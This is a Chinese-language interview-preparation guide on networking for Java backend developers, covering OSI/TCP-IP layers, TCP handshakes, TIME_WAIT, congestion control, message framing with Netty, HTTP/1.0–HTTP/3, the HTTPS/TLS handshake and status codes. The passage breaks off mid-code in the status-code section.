📌 一、网络分层模型篇(热身题,必须秒答)
1.1 OSI七层模型和TCP/IP四层模型分别是什么?有什么区别?
✅ 正确回答思路:
这道题我分两部分回答,先说两个模型分别是什么,再说区别:
OSI七层模型(从上到下):
第7层 应用层 (Application) ------ HTTP、FTP、SMTP、DNS
第6层 表示层 (Presentation) ------ 数据编码、加密、压缩
第5层 会话层 (Session) ------ 建立/维护/终止会话
第4层 传输层 (Transport) ------ TCP、UDP(端对端传输)
第3层 网络层 (Network) ------ IP、路由选择(主机到主机)
第2层 数据链路层 (Data Link) ------ MAC地址、以太网帧
第1层 物理层 (Physical) ------ 比特流、网线、光纤
TCP/IP四层模型(从上到下):
第4层 应用层 ------ 对应OSI的应用层+表示层+会话层
第3层 传输层 ------ 对应OSI的传输层(TCP/UDP)
第2层 网络层 ------ 对应OSI的网络层(IP协议)
第1层 网络接口层 ------ 对应OSI的数据链路层+物理层
两者的主要区别:
我用口语来说:OSI是"理论派",TCP/IP是"实践派"。
- 层数不同:OSI七层,TCP/IP四层(有时候说五层,把网络接口层拆成数据链路层+物理层)。
- OSI是理想模型:1984年ISO制定,想得很完美,把功能划分得很细,但太学术化了,真实网络协议不完全按这个走。
- TCP/IP是现实标准:互联网真正在用的,设计时更注重实用,是"先实践后标准化"的产物。
- 应用范围:TCP/IP就是今天整个互联网的基础;OSI主要用来学习和理解网络分层思想。
📌 面试官常问的追问: "你知道HTTP在哪一层吗?"
答:HTTP是应用层协议,基于TCP传输层协议。完整的访问一个网页,各层分工是这样的:
你在浏览器输入 http://www.baidu.com
→ 应用层:HTTP协议,构造GET请求报文
→ 传输层:TCP协议,三次握手,把报文分段
→ 网络层:IP协议,决定路由,给数据包加IP头
→ 数据链路层:MAC地址,封装成帧
→ 物理层:转成电信号/光信号发出去
💡 记忆口诀: "应表会传网数物"(应用、表示、会话、传输、网络、数据链路、物理)
1.2 TCP和UDP的区别是什么?各自适合什么场景?
✅ 正确回答思路:
这两个协议都在传输层,我从6个维度对比,然后说应用场景:
一、核心区别对比表:
| 对比项 | TCP | UDP |
|---|---|---|
| 连接方式 | 面向连接(三次握手建立连接) | 无连接(直接发送) |
| 可靠性 | 可靠传输(确认、重传、排序) | 不可靠(发了就不管了) |
| 速度 | 慢(各种机制有开销) | 快(没有额外开销) |
| 传输单位 | 字节流(无边界) | 数据报(有边界) |
| 拥塞控制 | 有(滑动窗口、慢启动) | 无 |
| 头部大小 | 20-60字节 | 8字节(固定) |
| 应用场景 | HTTP/HTTPS、FTP、邮件 | DNS、视频直播、游戏 |
二、深入解释几个重点:
为什么TCP可靠但UDP不可靠?
TCP通过三个机制保证可靠性:
- 确认机制:接收方收到数据后要发ACK确认,发送方没收到ACK就重传
- 序号机制:数据包带序号,接收方按序号重组,乱序包会排队等待
- 校验和:检测数据在传输过程中是否损坏
UDP完全没有这些,发送方把数据扔出去就不管了,对方收没收到、收到的顺序对不对,都不管。
为什么说TCP是字节流,UDP是数据报?
- TCP字节流:就像水管里流水,你发100字节,接收方可能一次收50字节,再收50字节,没有边界感。这就是为什么我们在Java用TCP通信时要自己处理粘包拆包问题。
- UDP数据报:就像快递包裹,你发一个包裹,对方收到的就是完整的那个包裹,有天然的边界感。
三、应用场景:
用TCP的场景(可靠性优先):
- HTTP/HTTPS:网页请求,数据必须完整
- 文件传输FTP:文件丢了一点就完了
- 邮件SMTP:邮件内容必须完整
- 数据库连接:MySQL、Redis的TCP连接
用UDP的场景(速度优先):
- DNS查询:一问一答,简单快速,查个IP地址用TCP太重了
- 视频直播/视频会议:丢几帧没关系,但不能卡顿。Zoom、微信视频通话都是基于UDP或者在UDP上构建的RTP协议
- 在线游戏:实时性最重要,丢包影响不大,延迟高才是问题
- 广播/组播:UDP支持一对多发送,TCP不行
四、实际Java项目经验:
我在项目中:
- Spring Boot的HTTP接口默认用TCP(底层Tomcat)
- 我们有个实时游戏功能,用了Netty + UDP,延迟从200ms降到50ms
- DNS解析用UDP,所以有时候DNS查询失败了,应用会重试
💡 加分项: "现在有个叫QUIC的新协议,Google搞的,它基于UDP实现了TCP的可靠性,还解决了TCP的队头阻塞问题。HTTP/3就是基于QUIC的。这是未来的趋势。"
📌 二、TCP深度篇(重中之重!)
2.1 TCP三次握手的过程是什么?为什么是三次而不是两次或四次?
✅ 正确回答思路:
TCP三次握手是面试必考中的必考,不仅要能说清楚过程,还要答出"为什么是三次"这个深层原因。
一、三次握手的完整过程:
我用一个现实场景来类比,然后说技术细节:
类比:就像你打电话给朋友:
- 你:"喂,能听到吗?"(第一次)
- 朋友:"能听到,你能听到我说话吗?"(第二次)
- 你:"能听到,开始说正事吧!"(第三次)
技术过程(三个报文段):
客户端 服务端
| |
| ① SYN=1, seq=x |
| ---------------------------------> | 服务端进入 SYN_RCVD 状态
| |
| ② SYN=1, ACK=1, seq=y, ack=x+1 |
| <--------------------------------- |
| 客户端进入 ESTABLISHED 状态 |
| |
| ③ ACK=1, seq=x+1, ack=y+1 |
| ---------------------------------> | 服务端进入 ESTABLISHED 状态
| |
| 连接建立完成! |
详细说每一步:
第一次握手(客户端 → 服务端):
- 客户端发送一个SYN包(SYN=1),携带随机序号seq=x(ISN,初始序列号)
- 客户端进入
SYN-SENT状态 - 含义:"我想和你建立连接,我的初始序号是x"
第二次握手(服务端 → 客户端):
- 服务端收到SYN后,回复SYN+ACK包(SYN=1,ACK=1)
- 携带自己的序号seq=y,以及对客户端的确认ack=x+1(期望收到客户端的x+1号数据)
- 服务端进入
SYN-RCVD状态 - 含义:"收到了,同意建立连接,我的初始序号是y,你下次从x+1开始发"
第三次握手(客户端 → 服务端):
- 客户端发送ACK包(ACK=1),ack=y+1
- 客户端进入
ESTABLISHED状态,服务端收到后也进入ESTABLISHED状态 - 含义:"收到了,连接建立!"
注意:第三次握手可以携带数据(比如HTTP请求),但前两次不能携带数据(因为连接还没建立)。
二、为什么是三次握手,不是两次?
如果是两次握手,会有什么问题?
想象这个场景:
情景:网络拥堵,客户端发的第一个SYN包延迟了很久才到服务端
① 客户端发SYN(但这个包网络延迟了,很久以后才到)
② 客户端等不到回复,超时重传,发第二个SYN
③ 服务端收到第二个SYN,回复SYN-ACK,连接建立,完成通信,关闭连接
④ 过了很久,服务端收到了第一个SYN(过期的旧连接请求)
------如果是两次握手------
⑤ 服务端回复SYN-ACK,以为连接建立了,等待客户端发数据
⑥ 但客户端早就关了,根本不理服务端
⑦ 服务端一直维护着这个"幽灵连接",白白浪费资源!
两次握手的核心问题:服务端无法判断收到的SYN是新的请求还是历史的过期请求,容易建立无效连接浪费资源。
三次握手的好处:第三次ACK让服务端确认"客户端确实是现在想建连接的",避免了过期SYN包的干扰。
总结:三次握手的三个目的:
- 双方确认自己和对方都有发送和接收能力(这是大家常说的,但不是主要原因)
- 同步双方的初始序号(ISN),保证数据有序传输
- 防止旧的重复连接请求初始化新连接(这是最主要的原因!)
三、为什么不是四次握手?
四次其实也可以,只是没必要。三次已经能满足所有需求了------双方都确认了对方能收发数据,也同步了序号。四次只会增加开销,三次刚好够用。
💡 面试加分项:
"其实我觉得三次握手的本质是:TCP连接需要双方各自发送一个SYN+对方回一个ACK,一共四次,但第二次握手把'服务端的ACK'和'服务端的SYN'合并成一个包发送了,所以变成了三次。这样理解会更清楚。"
2.2 TCP四次挥手的过程是什么?为什么要四次?TIME_WAIT状态是什么?
✅ 正确回答思路:
四次挥手是TCP断开连接的过程,比三次握手稍微复杂一点,关键是要理解为什么需要四次以及TIME_WAIT的作用。
一、四次挥手的完整过程:
类比:这次用"分手"来类比:
- 你:"我没什么话说了,我想结束了。"(第一次FIN)
- 对方:"好,我知道了,但我还有话说..."(第二次ACK)
- 对方说完了:"好了,我也说完了。"(第三次FIN)
- 你:"知道了,再见。"(第四次ACK)
技术过程:
客户端(主动关闭方) 服务端(被动关闭方)
| |
| ① FIN=1, seq=u |
| ------------------------------------> |
| 客户端进入 FIN_WAIT_1 | 服务端进入 CLOSE_WAIT
| |
| ② ACK=1, ack=u+1 |
| <------------------------------------ |
| 客户端进入 FIN_WAIT_2 |(服务端可能还有数据要发)
| |
| [服务端处理剩余数据...] |
| |
| ③ FIN=1, seq=v, ACK=1, ack=u+1 |
| <------------------------------------ |
| | 服务端进入 LAST_ACK
| ④ ACK=1, ack=v+1 |
| ------------------------------------> |
| 客户端进入 TIME_WAIT(等2MSL) | 服务端进入 CLOSED
| |
| [等待2MSL后] |
| 客户端进入 CLOSED |
详细说每一步:
第一次挥手(客户端 → 服务端):
- 客户端发FIN包,表示"我不发数据了"
- 客户端进入
FIN_WAIT_1状态 - 但客户端还能接收数据!(半关闭状态)
第二次挥手(服务端 → 客户端):
- 服务端收到FIN,立即回ACK
- 服务端进入
CLOSE_WAIT状态,客户端进入FIN_WAIT_2状态 - 注意:服务端这时候可能还有数据没发完,所以先只是ACK,还没发FIN
第三次挥手(服务端 → 客户端):
- 服务端把剩余数据发完后,发FIN包,表示"我也不发了"
- 服务端进入
LAST_ACK状态
第四次挥手(客户端 → 服务端):
- 客户端回ACK,进入
TIME_WAIT状态 - 服务端收到ACK,进入
CLOSED状态 - 客户端等待2MSL后,进入
CLOSED状态
二、为什么是四次挥手而不是三次?
这是面试常问的!关键原因是:
三次握手的第二次可以把SYN和ACK合并在一个包里发,因为服务端收到SYN时,它也想同时发自己的SYN,所以可以一起发。
但四次挥手的第二次和第三次不能合并,原因是:
服务端收到客户端FIN时,内核协议栈会立即 回ACK("我收到你的关闭请求了"),但不能立即 发FIN,因为服务端应用层可能还有数据没处理完、没发送完。只有等服务端应用调用
close(),内核才会发FIN。这两件事时间上完全不同步,所以必须分开发送,一共四次。
用大白话说:分手的时候,你说"我不想说了",对方可以立刻回"我知道了",但对方可能还有话没说完,要等说完了才能说"我也不说了"------这中间有个时间差,所以多了一次。
三次握手时服务端的ACK和SYN可以合并,是因为服务端收到客户端的SYN时,自己也立刻想建连接,两件事同时发生;而四次挥手时,"回ACK"和"发FIN"不是同时发生的,所以不能合并。
三、TIME_WAIT状态是什么?为什么要等2MSL?
TIME_WAIT是主动关闭方(客户端)在发完最后一个ACK后进入的等待状态,要等2MSL时间才真正关闭。
MSL(Maximum Segment Lifetime):报文最大生存时间,Linux中一般是60秒,所以2MSL = 120秒。
为什么要等2MSL?有两个原因:
原因1:确保最后一个ACK能到达服务端
场景:客户端发出第四次挥手的ACK后,这个ACK在网络中丢失了
→ 服务端没收到ACK,超时重传FIN
→ 如果客户端已经CLOSED了,收到重传的FIN不知道怎么处理
→ 服务端就永远关不掉了!
有了TIME_WAIT:
→ 客户端等2MSL,期间收到了服务端重传的FIN
→ 客户端重新发ACK
→ 服务端正常关闭
原因2:防止旧连接的数据包影响新连接
如果马上关闭,相同四元组(src_ip, src_port, dst_ip, dst_port)的新连接可能收到上一个连接的延迟数据包,造成数据混乱。
等2MSL可以确保网络中所有属于本次连接的数据包都消亡了,再用这个四元组建新连接就是干净的。
四、TIME_WAIT的危害和解决方案(面试加分题!)
危害:
- 服务器端口或文件描述符耗尽
- 高并发短连接场景(比如大量HTTP短连接),TIME_WAIT会堆积几万个,占用大量内存
实际Java项目中的体现 : 我们的SpringBoot应用曾经出现过服务端netstat -ant | grep TIME_WAIT | wc -l显示几万个TIME_WAIT,导致端口耗尽,新连接建立失败。
解决方案(Linux内核参数):
bash
# 开启TCP连接复用(TIME_WAIT状态下的连接可以被新连接复用)
net.ipv4.tcp_tw_reuse = 1
# 快速回收TIME_WAIT(生产环境慎用!)
net.ipv4.tcp_tw_recycle = 1 # Linux 4.12后已删除
# 增大本地端口范围
net.ipv4.ip_local_port_range = 1024 65535
# 开启keepalive,更快发现死连接
net.ipv4.tcp_keepalive_time = 60
应用层解决:用HTTP长连接(Keep-Alive),或者连接池(HikariCP、Redis连接池),减少连接的频繁创建和销毁。
💡 总结记忆:
- 四次挥手是因为"回ACK"和"发FIN"不同步,必须分开
- TIME_WAIT等2MSL:确保最后ACK到达 + 让旧连接数据包消亡
- 高并发场景要注意TIME_WAIT堆积问题
2.3 TCP如何保证可靠传输?(重要!)
✅ 正确回答思路:
TCP保证可靠传输靠的是一套组合拳,我从五个机制来说:
一、序号与确认应答(最核心)
每个TCP数据段都带有序号(Sequence Number),接收方收到后发**确认号(ACK)**告诉发送方"我收到序号X以前的数据了,下次从X开始发"。
发送方: 发送 seq=1-100 的数据
接收方: 回复 ack=101(期望下次收到101开始的数据)
发送方: 发送 seq=101-200 的数据
接收方: 回复 ack=201
...
作用:解决丢包问题(没收到ACK就重传),解决乱序问题(按序号重组)。
二、超时重传
发送方发出数据后,启动计时器,如果超时还没收到ACK就重传。
重传时间(RTO)是动态调整的:根据网络往返时延(RTT)计算,网络好时RTO小,网络差时RTO大。
java
// 伪代码:超时重传
sendData(seq=1, data);
timer.start(RTO); // 启动超时计时器
if (timeout && no ACK) {
resend(seq=1, data); // 超时重传
RTO = RTO * 2; // 指数退避,避免网络更拥堵
}
三、流量控制(滑动窗口)
问题:发送方发得太快,接收方来不及处理,缓冲区溢出,数据丢失。
解决 :接收方在ACK报文中带上接收窗口大小(rwnd),告诉发送方"我的缓冲区还剩多少",发送方不能超过这个量。
接收方缓冲区满了: ack中带 rwnd=0(发送方停止发送)
接收方缓冲区空了: 发送方收到rwnd>0的ACK,继续发
滑动窗口机制:发送方不用每发一个包就等一个ACK,而是可以连续发送多个包,然后等ACK。
窗口大小=3,发送方可以连续发3个包:
发送: [1][2][3] → 等待ACK
收到ack=2: 窗口向右滑动,继续发[4]
收到ack=3: 继续发[5]
收到ack=4: 继续发[6]
...
四、拥塞控制
问题:网络中路由器缓存满了,丢包。如果所有发送方都不管网络状况拼命发,网络会彻底崩溃(拥塞崩溃)。
解决:TCP会主动探测网络状况,根据丢包情况动态调整发送速率。
四个核心算法:
1. 慢启动(Slow Start)
初始: 拥塞窗口 cwnd=1MSS(最大报文段)
每收到一个ACK: cwnd加倍
1→2→4→8→16...(指数增长)
直到cwnd超过慢启动阈值ssthresh,进入拥塞避免
2. 拥塞避免(Congestion Avoidance)
cwnd超过ssthresh后:
每收到一个RTT的ACK: cwnd加1(线性增长,更保守)
16→17→18→19...
3. 快速重传(Fast Retransmit)
如果连续收到3个重复ACK(说明某个包丢了):
立即重传,不等超时
4. 快速恢复(Fast Recovery)
快速重传后:
ssthresh = cwnd/2
cwnd = ssthresh(不像超时那样降到1)
继续拥塞避免
丢包时的两种处理:
- 超时丢包(严重):ssthresh=cwnd/2,cwnd=1,重新慢启动
- 3个重复ACK(较轻):快速重传+快速恢复,cwnd降到ssthresh
五、连接管理
通过三次握手建立连接、四次挥手断开连接,确保通信双方处于已知状态。
六、总结图:
TCP可靠传输 =
序号+确认应答 → 知道什么收到了,什么没收到
+ 超时重传 → 丢了的包重新发
+ 流量控制 → 别把接收方撑爆
+ 拥塞控制 → 别把网络撑爆
+ 校验和 → 检测数据是否损坏
💡 面试加分: "Java的Socket编程底层就是TCP,所以你用Java写Netty服务,底层的可靠传输是TCP帮你保证的,你不用自己写重传逻辑。但UDP就不一样了,Netty用UDP时,你要自己处理丢包重传,这就是为什么RTP、KCP这些协议要在UDP上实现可靠传输。"
2.4 TCP的粘包和拆包问题是什么?怎么解决?
✅ 正确回答思路:
这是Java后端用Netty或者自定义TCP通信时很常见的问题,一定要能讲清楚!
一、什么是粘包和拆包?
先明确:粘包拆包是TCP字节流特性带来的问题,UDP没有这个问题!
TCP是字节流协议:数据是连续的字节流,没有天然的"消息边界"。
粘包:发送方发了两个独立的消息,接收方却一次性全收到了,分不清哪里是第一条消息的结尾。
发送方发: [消息A][消息B]
接收方收: [消息A消息B] ← 粘在一起了,不知道在哪里分开
拆包:发送方发了一个消息,接收方分两次才收完,不知道这是同一条消息。
发送方发: [消息A]
接收方第一次收: [消息A的前半段]
接收方第二次收: [消息A的后半段] ← 如何知道这是同一条消息?
为什么会粘包?
- TCP有Nagle算法:为了减少小包发送,会把多个小数据包合并成一个大包再发送
- 发送方发送速度 > 接收方处理速度,接收缓冲区积压了多个消息
为什么会拆包?
- 发送的消息太大,超过了MSS(最大报文段大小),TCP会把它分成多个报文段发送
- 发送的消息超过了MTU(最大传输单元,1500字节),IP层会分片
注脚 :"粘包"和"拆包"是中国开发者社区的俗称,TCP 协议标准文档中并没有这两个词,官方说法是 TCP 是**基于流(Stream-based)**的,没有边界。面试时如果遇到"海归"或"学术派"面试官,最好加上这句话,显得你既懂工程黑话,也懂学术标准。
二、解决方案(三种主流方式):
方案1:固定长度消息
java
// 发送方:每条消息固定100字节,不够的补0
byte[] message = new byte[100];
// ...填充数据
socket.getOutputStream().write(message);
// 接收方:每次读取固定100字节
byte[] buf = new byte[100];
socket.getInputStream().read(buf);
缺点:浪费空间(消息可能比100字节小很多);不灵活(不能发可变长消息)。
方案2:特殊分隔符
java
// 发送方:消息后面加\n作为分隔符
String message = "Hello World\n";
socket.getOutputStream().write(message.getBytes());
// 接收方:遇到\n就认为是一条消息的结尾
BufferedReader reader = new BufferedReader(
new InputStreamReader(socket.getInputStream())
);
String line = reader.readLine(); // 读到\n为止
缺点:消息内容里不能包含分隔符;需要扫描整个数据寻找分隔符,效率稍低。
方案3:消息头+消息体(最推荐!)
+---------+-------------+
| 4字节长度 | 消息内容 |
+---------+-------------+
Header Body
// 发送方:先发4字节长度,再发内容
public void send(byte[] data) throws IOException {
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
out.writeInt(data.length); // 先写4字节长度
out.write(data); // 再写内容
}
// 接收方:先读4字节得到长度,再按长度读内容
public byte[] receive() throws IOException {
DataInputStream in = new DataInputStream(socket.getInputStream());
int length = in.readInt(); // 读4字节得到消息长度
byte[] data = new byte[length];
in.readFully(data); // 按长度读取完整消息
return data;
}
三、Netty中的解决方案:
Netty内置了几个专门处理粘包拆包的解码器:
java
// 1. 固定长度解码器
pipeline.addLast(new FixedLengthFrameDecoder(100));
// 2. 行分隔符解码器
pipeline.addLast(new LineBasedFrameDecoder(1024));
// 3. 分隔符解码器(自定义分隔符)
ByteBuf delimiter = Unpooled.copiedBuffer("$_".getBytes());
pipeline.addLast(new DelimiterBasedFrameDecoder(1024, delimiter));
// 4. 基于长度字段的解码器(最常用!)
// lengthFieldOffset=0: 长度字段在最开头
// lengthFieldLength=4: 长度字段占4字节
// lengthAdjustment=0: 长度值不需要调整
// initialBytesToStrip=4: 解码后去掉前4字节(长度字段)
pipeline.addLast(new LengthFieldBasedFrameDecoder(Integer.MAX_VALUE, 0, 4, 0, 4));
四、实际项目经验:
我们有个内部服务用了Netty做TCP通信,一开始没处理粘包,经常出现解析JSON报错。
后来用了LengthFieldBasedFrameDecoder,完美解决问题:
java
// 自定义协议:4字节长度 + JSON内容
ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ChannelPipeline pipeline = ch.pipeline();
// 拆包解码器
pipeline.addLast(new LengthFieldBasedFrameDecoder(Integer.MAX_VALUE, 0, 4, 0, 4));
// 编码器(发送时加长度头)
pipeline.addLast(new LengthFieldPrepender(4));
// 业务处理
pipeline.addLast(new BusinessHandler());
}
});
💡 记忆口诀: "粘包拆包TCP特有,固定长度/分隔符/长度头三种解法,Netty用LengthFieldBasedFrameDecoder最香"
📌 三、HTTP协议篇(高频!)
3.1 HTTP/1.0、HTTP/1.1、HTTP/2、HTTP/3的区别是什么?
✅ 正确回答思路:
HTTP协议的演进是面试高频题,我按版本顺序说清楚每次升级解决了什么问题:
一、HTTP/1.0(1996年)
特点:
- 短连接:每个请求/响应后都关闭TCP连接
- 串行处理:一个连接同时只能处理一个请求
问题:访问一个网页,里面有10张图、10个CSS、10个JS,就要建立30次TCP连接!每次建连都要三次握手,性能很差。
二、HTTP/1.1(1997年,目前最广泛)
改进1:持久连接(Keep-Alive)
HTTP/1.0: 请求 → 响应 → 关闭连接 → 新建连接 → 请求 → 响应 → 关闭连接
HTTP/1.1: 请求 → 响应 → 请求 → 响应 → 请求 → 响应 → 关闭连接(复用同一个TCP连接!)
默认开启Keep-Alive,多个请求可以复用同一个TCP连接,减少握手开销。
改进2:管道化(Pipelining)
客户端可以连续发送多个请求,不用等前一个响应回来。但响应必须按请求顺序返回。
仍然存在的问题:队头阻塞(Head-of-Line Blocking)!
请求1(慢)、请求2(快)、请求3(快)同时发送
→ 必须等请求1的响应回来,才能处理请求2和3的响应
→ 请求2和3被"卡住"了
改进3:Host头部
支持虚拟主机,同一个IP可以部署多个网站。
http
GET /index.html HTTP/1.1
Host: www.baidu.com
三、HTTP/2(2015年,越来越普及)
HTTP/2是对HTTP/1.1的重大升级,核心改进:
改进1:二进制分帧(Binary Framing)
HTTP/1.1是文本协议(你能直接看懂请求报文),HTTP/2改成了二进制协议,把数据拆成帧(Frame),效率更高,解析更快。
改进2:多路复用(Multiplexing)------解决队头阻塞!
HTTP/1.1: 同一连接上,请求/响应必须串行
HTTP/2: 同一连接上,多个请求/响应交叉传输,互不干扰
比如:
请求1的帧: [1-1][1-2][1-3]...
请求2的帧: [2-1][2-2][2-3]...
在网络上交叉传输: [1-1][2-1][1-2][2-2][1-3][2-3]
接收方根据Stream ID重组,互不影响!
这就解决了HTTP层的队头阻塞问题(但TCP层的队头阻塞还在,后面HTTP/3解决)。
改进3:Header压缩(HPACK算法)
HTTP请求头很多字段都是重复的(User-Agent、Cookie每次都带),HTTP/2用HPACK算法压缩头部,减少传输量。
改进4:服务器推送(Server Push)
客户端请求 index.html
服务端主动推送: index.html + style.css + app.js(因为服务端知道你需要这些)
客户端不用再发三个请求!
四、HTTP/3(2022年正式标准,基于QUIC)
更新描述:HTTP/3 在大厂(Google, Facebook, 抖音/字节跳动)的流量占比已经非常高了。特别是在弱网环境(移动端 4G/5G 切换)下,QUIC 的**连接迁移(Connection Migration)**特性是核心杀手锏。
补充技术点 :HTTP/2 的头部压缩是 HPACK,而 HTTP/3 为了适配 UDP 的乱序传输,改用了 QPACK。这是一个很细但很能体现深度的知识点。
HTTP/2还有什么问题?
HTTP/2虽然解决了应用层的队头阻塞,但底层还是用TCP!
TCP队头阻塞:TCP中如果一个数据包丢失,后面所有数据都要等这个包重传,即使它们属于不同的HTTP请求流。
HTTP/3的解决方案:把TCP换掉,改用QUIC(基于UDP)!
HTTP/3特点:
- 基于QUIC协议(User Datagram Protocol实现的可靠传输)
- 彻底解决TCP的队头阻塞
- 连接建立更快(0-RTT或1-RTT,而TCP握手是1-RTT,加TLS是2-RTT)
- 连接迁移:切换网络(WiFi→4G)不用重新建连
QUIC为什么基于UDP但又可靠?
QUIC在UDP上自己实现了一套类似TCP的可靠传输机制(确认、重传、流控),但是独立管理每个流,一个流的丢包不影响其他流。
五、四个版本对比总结:
| 版本 | 发布年 | 核心改进 | 主要问题 |
|---|---|---|---|
| HTTP/1.0 | 1996 | 基础功能 | 每次请求建新TCP连接 |
| HTTP/1.1 | 1997 | 持久连接、管道化 | 队头阻塞(应用层) |
| HTTP/2 | 2015 | 二进制分帧、多路复用、头压缩 | 队头阻塞(TCP层) |
| HTTP/3 | 2022 | 基于QUIC/UDP,彻底解决队头阻塞 | 还在普及中 |
六、实际Java项目经验:
- 我们的SpringBoot服务暴露HTTP接口,默认是HTTP/1.1
- Nginx配置开启HTTP/2:
nginx
server {
listen 443 ssl http2;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# ...
}
- 用OkHttp客户端,它默认支持HTTP/2:
java
OkHttpClient client = new OkHttpClient.Builder()
.protocols(Arrays.asList(Protocol.HTTP_2, Protocol.HTTP_1_1))
.build();
💡 记忆口诀:
- 1.0:短连接,每次握手累
- 1.1:长连接,但队头阻
- 2.0:多路复,头压缩
- 3.0:换UDP,QUIC跑
3.2 HTTP和HTTPS的区别?HTTPS的握手流程是什么?
✅ 正确回答思路:
HTTPS是面试必考,不但要说出区别,还要能说清楚TLS握手流程,这才能拿高分。
一、HTTP vs HTTPS 核心区别:
| 对比项 | HTTP | HTTPS |
|---|---|---|
| 安全性 | 明文传输,不安全 | 加密传输,安全 |
| 默认端口 | 80 | 443 |
| URL前缀 | http:// | https:// |
| 协议层 | HTTP直接基于TCP | HTTP基于TLS/SSL,TLS基于TCP |
| 证书 | 不需要 | 需要CA签发的数字证书 |
| 速度 | 快 | 稍慢(握手有开销,但现代硬件影响很小) |
二、HTTPS能防什么攻击?
- 防窃听(机密性):数据加密,即使被截获也看不懂
- 防篡改(完整性):消息认证码(MAC),检测数据是否被修改
- 防伪装(身份认证):数字证书,确认你访问的是真的服务器
三、HTTPS握手流程(TLS 1.2)
HTTPS = HTTP + TLS,先建立TLS安全通道,再传HTTP数据。
TLS握手过程(面试最常问!):
客户端 服务端
| |
| ① Client Hello |
| (支持的TLS版本、加密算法列表、随机数1) |
| --------------------------------------------> |
| |
| ② Server Hello |
| (选定的TLS版本、加密算法、随机数2) |
| <-------------------------------------------- |
| |
| ③ Certificate |
| (服务器证书[含公钥]、证书链) |
| <-------------------------------------------- |
| |
| ④ Server Hello Done |
| <-------------------------------------------- |
| |
| [客户端验证证书] |
| [用CA公钥验证证书签名] |
| [确认证书未过期、域名匹配] |
| |
| ⑤ Client Key Exchange |
| (用服务端公钥加密的 Pre-Master Secret) |
| --------------------------------------------> |
| |
| [双方用 随机数1+随机数2+Pre-Master Secret] |
| [生成相同的 Session Key(对称密钥)] |
| |
| ⑥ Change Cipher Spec + Finished(客户端) |
| --------------------------------------------> |
| |
| ⑦ Change Cipher Spec + Finished(服务端) |
| <-------------------------------------------- |
| |
| ===== TLS握手完成,开始加密通信 ===== |
| |
| ⑧ HTTP请求(用Session Key加密) |
| --------------------------------------------> |
详细说明每一步:
① Client Hello:客户端告诉服务端:
- 我支持哪些TLS版本(TLS 1.2、TLS 1.3)
- 我支持哪些加密算法(cipher suites)
- 我的随机数(用于后面生成密钥)
② Server Hello:服务端回复:
- 选用哪个TLS版本
- 从客户端支持的算法里选一个(比如RSA+AES256+SHA256)
- 服务端的随机数
③ Certificate:服务端发送自己的数字证书(由CA签发的,包含服务端的公钥)
④ Server Hello Done:告诉客户端"我发完了"
⑤ Client Key Exchange:客户端:
- 验证证书(用CA的公钥验证证书签名,看看证书是不是可信的CA签的)
- 生成Pre-Master Secret(随机数)
- 用服务端公钥加密Pre-Master Secret,发给服务端
此时只有服务端(有私钥)能解密Pre-Master Secret。
⑥⑦ 双方生成Session Key:
- 双方都有:随机数1 + 随机数2 + Pre-Master Secret
- 用相同的算法计算出相同的Session Key(会话密钥,对称密钥)
- 后续通信都用这个对称密钥加密
④ 什么是非对称加密+对称加密的组合?
- 非对称加密(RSA等):用公钥加密,私钥解密。安全但慢。
- 对称加密(AES等):加解密用同一个密钥。快但密钥交换有安全问题。
HTTPS的做法:用非对称加密安全地交换对称密钥,然后用对称密钥高效地加密数据传输。这是两者的完美结合!
四、TLS 1.3 vs TLS 1.2
TLS 1.3是目前最新的版本,主要改进:
- 握手更快:从2-RTT降到1-RTT,甚至0-RTT(恢复连接时)
- 更安全:废弃了很多老旧不安全的加密算法(RSA密钥交换、MD5、SHA-1等)
- 前向安全(Forward Secrecy):即使私钥泄露,也不能解密之前的历史通信(强制使用DHE/ECDHE密钥交换)
五、实际项目经验:
在我们的SpringBoot项目中,配置HTTPS:
yaml
# application.yml
server:
port: 443
ssl:
enabled: true
key-store: classpath:keystore.p12
key-store-password: yourpassword
key-store-type: PKCS12
key-alias: tomcat
生产环境用Let's Encrypt免费证书 + Nginx做SSL卸载(把TLS握手放在Nginx层,后端服务只处理HTTP):
nginx
upstream backend {
server 127.0.0.1:8080;
}
server {
listen 443 ssl http2;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3; # 只允许TLS 1.2和1.3
location / {
proxy_pass http://backend;
}
}
# HTTP强制跳转HTTPS
server {
listen 80;
return 301 https://$host$request_uri;
}
💡 记忆口诀:
- HTTPS = HTTP + TLS,多了加密认证
- TLS握手:问好→发证书→交换密钥→对称加密通信
- 非对称密钥交换 + 对称密钥加密 = 安全又高效
3.3 HTTP常见的状态码有哪些?各代表什么意思?
✅ 正确回答思路:
状态码按1xx-5xx分类记忆,我说常用的,不用全背:
1xx(信息性)------几乎不用关心
2xx(成功)
- 200 OK:最常见,请求成功
- 201 Created:资源创建成功(POST创建资源时返回)
- 204 No Content:成功但没有响应体(DELETE成功时常用)
3xx(重定向)
- 301 Moved Permanently:永久重定向,浏览器会缓存(URL永久变了用301)
- 302 Found:临时重定向,浏览器不缓存(临时跳转用302)
- 304 Not Modified:缓存有效,浏览器用本地缓存(协商缓存命中)
- 307/308:类似302/301,但严格保持请求方法不变(不会把POST改成GET)
4xx(客户端错误)------客户端的锅
- 400 Bad Request:请求格式错误(参数不对、JSON格式错)
- 401 Unauthorized:未认证,需要登录(没带Token或Token无效)
- 403 Forbidden:已认证但没权限(有Token但权限不够)
- 404 Not Found:资源不存在
- 405 Method Not Allowed:方法不允许(用POST访问只允许GET的接口)
- 429 Too Many Requests:请求频率太高,被限流了
5xx(服务端错误)------服务端的锅
- 500 Internal Server Error:服务端内部错误(代码报了异常)
- 502 Bad Gateway:网关错误(Nginx连不上后端服务)
- 503 Service Unavailable:服务不可用(服务宕机或在维护)
- 504 Gateway Timeout:网关超时(Nginx连上了后端但超时)
实际项目中的使用:
在我的SpringBoot项目里,我们规范了状态码的使用:
java
// 创建资源返回201
@PostMapping("/users")
@ResponseStatus(HttpStatus.CREATED) // 201
public User createUser(@RequestBody User user) {
return userService.create(user);
}
// 删除成功返回204
@DeleteMapping("/users/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT) // 204
public void deleteUser(@PathVariable Long id) {
